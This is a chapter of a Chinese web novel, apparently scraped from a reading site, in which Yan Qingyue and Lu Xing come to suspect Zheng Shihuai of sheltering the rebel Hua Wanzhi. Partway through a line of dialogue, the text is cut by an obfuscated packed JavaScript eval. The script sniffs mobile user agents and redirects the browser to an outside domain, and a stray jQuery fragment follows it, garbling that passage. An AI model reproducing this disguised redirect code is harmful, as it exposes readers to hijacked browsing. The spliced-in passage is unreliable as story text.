149. 管中窥豹

作品:《女驸马探案录

    一进屋,只有二人在,闻蝉就装不住了。


    “郑家真的是太讨厌了!”


    “讨厌你还嫁!”听她抱怨,颜清越更担忧了,“是不是他们威胁你的?”


    “倒也不算,只是……做了一笔交易。”闻蝉的眼神有些闪躲。


    对方不愿意多说,颜清越也不好追问。


    “你没吃亏吧?”


    “能不吃亏吗?每天看他那张死人脸,有一种根本没有散值的感觉。”闻蝉终于畅快地翻出一个白眼。


    颜清越一脸不信。


    “那你刚刚还和他……”


    “你看见旁边那个人没?”


    “看见了,你眼皮都快抽筋了。那人是谁?”


    “县主的乳母,老婆婆脾气是真的好,人也好,我都找不到理由作怪!真气人。”


    “这不是好事吗?”


    “你不懂……”闻蝉长叹一口气,“老人家逼着我和郑观澜相亲相爱呢,只要她在,我就得装,烦死了!”


    “听你这样说,郑观澜爹娘人倒是不错?”


    不然闻蝉不会顾忌这些。


    闻蝉瘪瘪嘴。


    “只是不敢惹我而已。”闻蝉嘲讽一笑,“自己的儿子娶个仵作,他们能开心吗?”


    她双手合十,“我只求早些过完年,我好去上值,免得一天到晚的面对他们。对了,你这次的事办的怎么样了?”


    “抓到了不少人太安道的人。”颜清越得意地扬了扬眉,“陛下让我官复原职啦!”


    闻蝉真心替她高兴。


    二人的境遇相似,她比谁都明白这官位的重要性。


    “那你和肃王的事呢?你爹娘还有陛下他们怎么看?”


    “我爹娘松口了!”


    “既然你爹娘都松口了,那陛下肯定也是准许的!”闻蝉调侃道,“你的第一次喜酒我没喝上,就等着你第二次呢!”


    颜清越满脸通红,拍了她一下。


    “你怎么提这事儿!”


    在郑家一呆就是一日,一直快到傍晚,颜清越才准备离开。


    闻蝉自然是要送的。


    二人都很是舍不得。


    颜清越拉着她的手。


    “这几日反正也没事,你也可以到我家来啊。”


    虽然闻蝉没有吃什么亏,但是她感觉得到对方的不自在。


    闻蝉满口答应。


    “你娘就很好。”她压低了声音,“明明也是世家出身,做过公主还做过皇后,但是就是不会瞧不起人。”


    颜清越笑道:“人多经点事就把这些看淡了,最重要的还是人本身,身份高低都不重要。”


    闻蝉有些恍惚。


    “是吗……”


    “怀庆郡主?”郑士怀迎面走来,一脸客气的笑容,又对着闻蝉点点头,“闻娘和郡主是好友?”


    闻蝉对郑士怀态度意外不错。


    “我和郡主相交甚久。三叔,您怎么来了?”


    “二哥约我来喝酒啊!郡主既然来了,怎么不留下用个便饭再走?”


    颜清越微微一笑:“爹娘还等着我回家呢,就不好再打扰了。”


    郑士怀再一次露出了那种奇怪的眼神,像是在透过她的脸看谁似的。


    颜清越想到了什么。


    “说来,郑先生可是和我舅父是好友?”


    郑士怀很是坦然。


    “正是,我和玉质从小就认识。你和他……长得真像啊!”


    颜清越摸了摸脸。


    “母亲也这样说,说我和舅舅长得很相似。也难怪我和表弟长得那么像。”


    “表弟?”郑士怀愣了一下。


    “是啊。原来不知您和舅舅关系好,也没想着和您说这事儿。我家表弟也就是真正的颜青大难不死,已经回来了。”


    郑士怀瞳孔一缩,说话都有些结巴。


    “没死?”


    颜清越死死盯着他。


    “表弟福大命大,落下水后捡回一条命。”


    郑士怀合上眼,眼皮不住地颤抖着。


    “是他爹娘在保佑他。”


    “改日,我会让表弟去拜访您。”颜清越语气变得有些急躁,像是急着要去确认什么似的,“我就先告辞了。”


    颜清越一下马车,就急匆匆小跑着去了主院。


    “爹!娘!”


    屋内没有其他人,夫妻二人正在屋内烤着橘子吃。


    门被猛地推开,陆安手上的橘子都被吓得掉落在地。


    “毛毛躁躁,这是又怎么了?”他把橘子捡起来,坐了回去,“你不是去找那个闻娘子了吗?”


    颜清越坐在夫妻二人对面,一脸严肃。


    “这次我隐瞒了些事情。”


    “什么事?”


    “在烟雨楼,我还碰见了一个人。”


    夫妻二人一脸迷茫。


    “什么人?”


    “邓扶疏,也就是花万枝。”


    夫妻二人面色齐齐一变。


    颜清越眯起眼睛。


    “或许说我该叫他哥哥?”


    “你……”颜玉立深知自己女儿的机敏,当下也不再隐瞒,“你都知道了?”


    “是知道了,我只是奇怪。当年,邓妃不是被杀了吗?是谁救了她?又是谁将他养大?”


    陆安解释道:“是你舅舅救了她。”


    “那之后呢?”


    “他说,你舅舅救下邓妃后,将邓妃托付给了一位至交好友。”


    “既然是托付给了舅舅的至交好友,他又怎么会和那些逆党勾结在一起?舅父为人向来淡泊,能值得他重托的朋友也不可能是那样的人吧?”


    陆安有些黯然。


    “他不愿意说,我又怎么问呢?”


    颜玉立有些疑惑。


    “你为何问这些事?”


    她应该早就猜出此事了?为何今日忽然开口?


    “随口一问。今日在闻蝉那里碰见了郑先生,所以才想起了此事。”


    陆安的脸一下沉了下来。


    “他能说什么好话?”


    颜清越眨眨眼,很是无辜。


    “你不要这样说郑先生呀,他对我可好了,一个劲儿夸我呢。”


    “黄鼠狼给鸡拜年,没安好心!”


    “说到鸡……家里做的风干鸡好了吗?今晚我们吃风干鸡好不好?对了,表弟呢?”


    “他一早就去跑马了。”


    正说着,门就被敲了敲。


    “姑父姑母,我回来了。”


    是颜青的声音。


    三人也将刚刚的话题抛开。


    “快进来!”


    颜青穿着一身大氅,一进门就脱了下来,鼻尖都有些发红。


    “表姐也回来了?”


    “你也是,这么冷的天,非要去跑马?”颜玉立一脸心疼,给他搓着手,“冷着没?”


    “不冷的,跑完马身体暖烘烘的。”


    颜清越凑过去:“我看你身子比原来好多了!”


    “是吗?或许是在匈奴多吃肉多做事反而好些。”


    颜清越拍拍他的脑袋。


    “个头也高了好多。”


    她鼻尖微动,颜青身上有一股熟悉的香味。


    “你身上的味道……是什么熏香?真香啊!”


    “啊?”颜青慌乱了起来,“是……是吗?是府里的啊。”


    颜清越暂且放过他,对着颜玉立问道:“雁姐姐呢?她跑哪里去了?”


    “做新的刀,我在路上碰见了。”颜青说道,“她和叶军师在一个铁匠铺门口呢。”


    “不愧是雁姐姐,带着叶军师,做好新刀,正好顺手用叶军师的硬脖子试一试刀。”


    颜玉立被她逗笑,敲了她一记。


    “促狭鬼!”


    是夜。


    颜清越坐在床边,紧紧皱着眉,连寝衣都没换上,像是在等着谁。


    不一会儿,陆行从窗户熟练翻了进来,身上还冒着白气。


    颜清越上前握住他的手,拉着他走到火盆边坐下。


    “先缓一缓。”


    陆行搓了搓手,喘了几口气。


    “是闻蝉那里出了什么事吗?你急着叫我过来?”


    颜清越给他端来一盏热茶。


    “闻蝉没事。”


    陆行喝下茶水:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232832|165310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那是怎么了?”


    今日刚入夜他就收到了对方的消息,要他今晚过来见面,说是要事相商。


    “我在闻蝉那里碰到郑先生了。”


    “郑士怀?他和郑士恒兄弟感情一直很不错,他自己又一直没有成家,倒是常去郑士恒家中。这……有什么问题?”


    “他和我舅舅是好友,从小一起长大的情分。”


    陆行有些吃惊。


    “这事儿我也没有说过。”


    “郑家和颜家都是世家,这也不奇怪。只是……你还记得花万枝吗?”


    陆行眉头微蹙:“怎么提起他来了?”


    “花万枝的画……和郑先生的笔触十分相似。”颜清越咬了咬嘴唇,“这个不会是凑巧。我和颜青的书画相似是因为舅父和母亲是一起学的书画……”


    陆行也明白:“你是说郑士怀教了花万枝书画?”


    “是。这或许不能说明什么。可是今晚回来后我逼问爹娘,他们说……当时就是舅舅救下来花万枝的母亲邓妃,然后将怀孕的邓妃托付给了一位友人。”


    话都说得如此明显了。


    陆行怎么也明白了一二。


    “郑士怀就是那个友人?!”


    “八九不离十。你想啊,二人本就交好,郑先生又从来不牵扯朝政,背后是谁都不敢轻易动的郑家,舅舅很有可能就是把人托付给了郑先生!”


    “这有些说不通。”


    到底做过舅侄,陆行自认对郑家人还是有所了解。


    “郑士怀为人高洁,又淡泊名利,连官都不肯做。若是他收养了花万枝,花万枝又怎么会和那些逆党搅和在一起呢?”


    “郑家,是郑家。”颜清越十分确定这一点。


    “你还是怀疑郑家?可你别忘了,任文秀告发之事,郑士怀早就知情。难道他会……”


    “是苦肉计!”颜清越打断了他的话,“换子之事也好,还是郑观澜被算计的事情也好,都只是郑士怀的苦肉计!那日花万枝拉着我下棋就是要提醒我此事!”


    火盆中的炭噼里啪啦响了几声。


    陆行看着对方明亮的双眼,瞬间明白了。


    “因为我不愿意夺位,所以他干脆将我这颗预备做傀儡的棋子用来做苦肉计,好将他们的嫌疑洗干净。毕竟,他手里还有花万枝这一枚棋子!”


    花万枝是陆安的儿子,自然有继位的资格。


    一切都说的通了。


    颜清越恨得牙痒痒。


    “这个老东西!也真是够狠心,为了洗清嫌疑,竟然把郑观澜都搭进去了!”


    要知道,郑士怀平日里对郑观澜比对亲儿子还上心!


    “是他能做出来的事。”陆行心口发冷,“如此看来,郑贵妃应该也是被蒙在鼓里的。”


    “我看……不仅是蒙在鼓里,说不定连贵妃的死都和他们有关。”这样的郑家,想到如今身在郑家的闻蝉,颜清越脑子一晕,“也不知道闻蝉……”


    “郑家二房应该和此事无关,有县主在,郑家二房不会出大事。老鲁王当年抚养过皇祖父几年,其中的情分,并非其他藩王可比。”


    “那这事现在该怎么办?”颜清越一脸纠结,“我叫你来就是想要商量此事,若是全盘告诉陛下,花万枝的事情就不一定能瞒得住了。”


    陆行思量了许久才说道:“这条线索不说,我们从其他线索攀扯出郑家不就行了?”


    “其他线索?你是说这次抓到的人?”


    “没错。李朝春说的话,总可信吧?”


    颜清越点点头。


    “这样最好,只是花万枝那边……”


    “你就别再担心他了,他既然都在提醒你了,说明他也有自己的算计,脱身的准备他定然都做好了。至于他的身份,即使郑士化说出来,陛下连人都见不到,会相信吗?”


    “那就按你说的办,不过我们何时告诉陛下呢?”


    “初一宫宴后吧,我这几日找机会把李朝春捏在我手里,就说是我审出来的。”


    颜清越这才松了口气,靠在他的肩膀上,闭上眼。


    “三十那日你也要来啊。”


    “嗯,我明白。”